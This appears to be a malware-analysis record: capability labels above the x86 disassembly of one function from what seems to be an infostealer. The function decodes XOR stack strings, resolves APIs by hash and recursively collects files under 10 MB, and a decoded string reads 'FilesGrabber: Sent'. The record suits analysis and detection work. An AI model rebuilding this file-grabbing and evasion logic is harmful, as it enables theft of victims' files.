Function at 0x4138ed
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x304
push ebx
push ebp
push esi
push edi
push dword [esp + 0x318]
mov esi, ecx
mov dword [esp + 0x70], edx
mov dword [esp + 0x50], esi
call fcn.0040702c
mov ebx, eax
mov edi, 0xff
mov dword [esp + 0x28], ebx
pop ecx
test ebx, ebx
je 0x413c07
push 0x2c
pop eax
mov word [esp + 0x48], ax
xor eax, eax
and dword [esp + 0x2c], eax
mov word [esp + 0x4a], ax
lea eax, [esp + 0x2c]
push eax
lea eax, [esp + 0x4c]
push eax
push ebx
call fcn.004057dc
mov edx, eax
add esp, 0xc
test edx, edx
je 0x413c00
mov dword [esp + 0x5c], 0x1c332c65
mov word [esp + 0x60], 0x2c65
mov byte [esp + 0x62], 0x33
xor ecx, ecx
mov al, byte [esp + ecx + 0x5c]
xor al, 0x40
movzx eax, al
mov word [esp + ecx*2 + 0x98], ax
inc ecx
cmp ecx, 7
jl 0x413967
xor eax, eax
push edx
mov word [esp + 0xaa], ax
lea eax, [esp + 0x9c]
push esi
push eax
call fcn.0041b96a
mov ebp, eax
add esp, 0xc
mov dword [esp + 0x50], ebp
test ebp, ebp
je 0x413bd9
lea eax, [esp + 0xc0]
xor ecx, ecx
push eax
push ebp
mov edx, 0x54e1cc7b
inc ecx
call fcn.00412cbc
call eax
xor ecx, ecx
mov esi, eax
mov edx, 0x17299c7b
mov dword [esp + 0x74], esi
inc ecx
call fcn.00412cbc
mov dword [esp + 0x70], eax
cmp esi, 0xffffffff
je 0x413bce
mov ebp, dword [esp + 0x4c]
mov ebx, eax
mov word [esp + 0x10], 0x5959
push 0x2e
pop eax
mov word [esp + 0x68], ax
xor eax, eax
mov word [esp + 0x6a], ax
xor ecx, ecx
mov al, byte [esp + ecx + 0x10]
xor al, 0x77
movzx eax, al
mov word [esp + ecx*2 + 0x54], ax
inc ecx
cmp ecx, 2
jl 0x4139fe
xor eax, eax
mov word [esp + 0x58], ax
lea eax, [esp + 0x68]
push eax
lea eax, [esp + 0xf0]
push eax
call fcn.00405af6
pop ecx
pop ecx
test eax, eax
je 0x413ba7
lea eax, [esp + 0x54]
push eax
lea eax, [esp + 0xf0]
push eax
call fcn.00405af6
pop ecx
pop ecx
test eax, eax
je 0x413ba7
test byte [esp + 0xc0], 0xa7
je 0x413ba7
cmp dword [esp + 0xdc], 0
jne 0x413ba7
cmp dword [esp + 0xe0], 0xa00000
jae 0x413ba7
mov dword [esp + 0x14], 0xcfe0ffb6
xor ecx, ecx
mov word [esp + 0x18], 0xffb6
mov byte [esp + 0x1a], 0xe0
mov al, byte [esp + ecx + 0x14]
xor al, 0x93
movzx eax, al
mov word [esp + ecx*2 + 0x78], ax
inc ecx
cmp ecx, 7
jl 0x413a94
xor eax, eax
mov word [esp + 0x86], ax
lea eax, [esp + 0xec]
push eax
lea eax, [esp + 0x7c]
push ebp
push eax
call fcn.0041b96a
mov edi, eax
add esp, 0xc
test edi, edi
je 0x413ba7
mov dword [esp + 0x1c], 0xfda1bef7
xor ecx, ecx
mov word [esp + 0x20], 0xbef7
mov byte [esp + 0x22], 0xa1
mov al, byte [esp + ecx + 0x1c]
xor al, 0xd2
movzx eax, al
mov word [esp + ecx*2 + 0x88], ax
inc ecx
cmp ecx, 7
jl 0x413ae8
xor eax, eax
mov word [esp + 0x96], ax
lea eax, [esp + 0xec]
push eax
push dword [esp + 0x70]
lea eax, [esp + 0x90]
push eax
call fcn.0041b96a
mov esi, eax
add esp, 0xc
test esi, esi
je 0x413b9c
mov dword [esp + 0x30], 0x7a737659
xor ecx, ecx
mov dword [esp + 0x34], 0x7e6d586c
mov dword [esp + 0x38], 0x6d7a7d7d
mov dword [esp + 0x3c], 0x7a4c3f25
mov dword [esp + 0x40], 0x3a3f6b71
mov word [esp + 0x44], 0x6c73
mov byte [esp + 0x46], 0x15
mov al, byte [esp + ecx + 0x30]
xor al, 0x1f
mov byte [esp + ecx + 0xa8], al
inc ecx
cmp ecx, 0x17
jl 0x413b61
mov edx, esi
mov byte [esp + 0xbf], 0
mov ecx, edi
call fcn.00418b32
lea eax, [esp + 0xa8]
push edi
push eax
call fcn.00412606
push esi
call fcn.004056f0
add esp, 0xc
push edi
call fcn.004056f0
mov esi, dword [esp + 0x78]
pop ecx
lea eax, [esp + 0xc0]
push eax
push esi
call ebx
test eax, eax
jne 0x4139ed
xor ecx, ecx
mov edx, 0x83fbc401
push esi
inc ecx
call fcn.00412cbc
call eax
mov ebp, dword [esp + 0x50]
push ebp
call fcn.004056f0
mov esi, dword [esp + 0x50]
pop ecx
lea eax, [esp + 0x2c]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call fcn.004057dc
mov edx, eax
add esp, 0xc
test edx, edx
jne 0x413965
mov ebx, dword [esp + 0x24]
mov edi, 0xff
push ebx
call fcn.004056f0
pop ecx
cmp byte [esp + 0x31c], 0
je 0x413e2f
push 0x3e
pop eax
mov byte [esp + 0x24], 0x77
xor ecx, ecx
mov byte [esp + 0x25], al
mov word [esp + 0x26], 0xe21
mov byte [esp + 0x28], 0x78
mov al, byte [esp + ecx + 0x24]
xor al, 0x52
movzx eax, al
mov word [esp + ecx*2 + 0x5c], ax
inc ecx
cmp ecx, 5
jl 0x413c2f
xor eax, eax
mov word [esp + 0x66], ax
lea eax, [esp + 0x5c]
push esi
push eax
call fcn.0041b96a
mov ebx, eax
mov dword [esp + 0x58], ebx
pop ecx
pop ecx
test ebx, ebx
je 0x413e2f
lea eax, [esp + 0xc0]
xor ecx, ecx
push eax
push ebx
mov edx, 0x54e1cc7b
inc ecx
call fcn.00412cbc
call eax
xor ecx, ecx
mov edx, 0x17299c7b
inc ecx
mov ebp, eax
call fcn.00412cbc
mov dword [esp + 0x24], eax
cmp ebp, 0xffffffff
je 0x413e28
mov word [esp + 0x10], 0x3333
mov ebx, eax
push 0x2e
pop eax
mov word [esp + 0x2c], ax
xor eax, eax
mov word [esp + 0x2e], ax
xor ecx, ecx
mov al, byte [esp + ecx + 0x10]
xor al, 0x1d
movzx eax, al
mov word [esp + ecx*2 + 0x54], ax
inc ecx
cmp ecx, 2
jl 0x413cb3
xor eax, eax
mov word [esp + 0x58], ax
lea eax, [esp + 0x2c]
push eax
lea eax, [esp + 0xf0]
push eax
call fcn.00405af6
pop ecx
pop ecx
test eax, eax
je 0x413dfc
lea eax, [esp + 0x54]
push eax
lea eax, [esp + 0xf0]
push eax
call fcn.00405af6
pop ecx
pop ecx
test eax, eax
je 0x413dfc
test byte [esp + 0xc0], 0x10
je 0x413dfc
mov dword [esp + 0x1c], 0xa1b8b16a
xor ecx, ecx
mov word [esp + 0x20], 0xb16a
mov byte [esp + 0x22], 0xb8
movzx eax, byte [esp + ecx + 0x1c]
sub ax, 0x45
and ax, di
mov word [esp + ecx*2 + 0x88], ax
inc ecx
cmp ecx, 7
jl 0x413d2a
xor eax, eax
mov word [esp + 0x96], ax
lea eax, [esp + 0xec]
push eax
lea eax, [esp + 0x8c]
push esi
push eax
call fcn.0041b96a
mov edi, eax
add esp, 0xc
test edi, edi
je 0x413dfc
push 0x3e
mov dword [esp + 0x18], 0x6db1aa63
xor ecx, ecx
mov word [esp + 0x1c], 0xaa63
mov esi, 0xff
mov byte [esp + 0x1e], 0xb1
pop edx
movzx eax, byte [esp + ecx + 0x14]
sub ax, dx
and ax, si
mov word [esp + ecx*2 + 0x78], ax
inc ecx
cmp ecx, 7
jl 0x413d8f
xor eax, eax
mov word [esp + 0x86], ax
lea eax, [esp + 0xec]
push eax
push dword [esp + 0x70]
lea eax, [esp + 0x80]
push eax
call fcn.0041b96a
mov esi, eax
add esp, 0xc
test esi, esi
je 0x413df1
push dword [esp + 0x31c]
mov edx, esi
mov ecx, edi
push dword [esp + 0x31c]
call fcn.004138ed
push esi
call fcn.004056f0
add esp, 0xc
push edi
call fcn.004056f0
mov esi, dword [esp + 0x50]
pop ecx
lea eax, [esp + 0xc0]
push eax
push ebp
call ebx
mov edi, 0xff
test eax, eax
jne 0x413ca2
xor ecx, ecx
mov edx, 0x83fbc401
push ebp
inc ecx
call fcn.00412cbc
call eax
mov ebx, dword [esp + 0x50]
push ebx
call fcn.004056f0
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x304
ret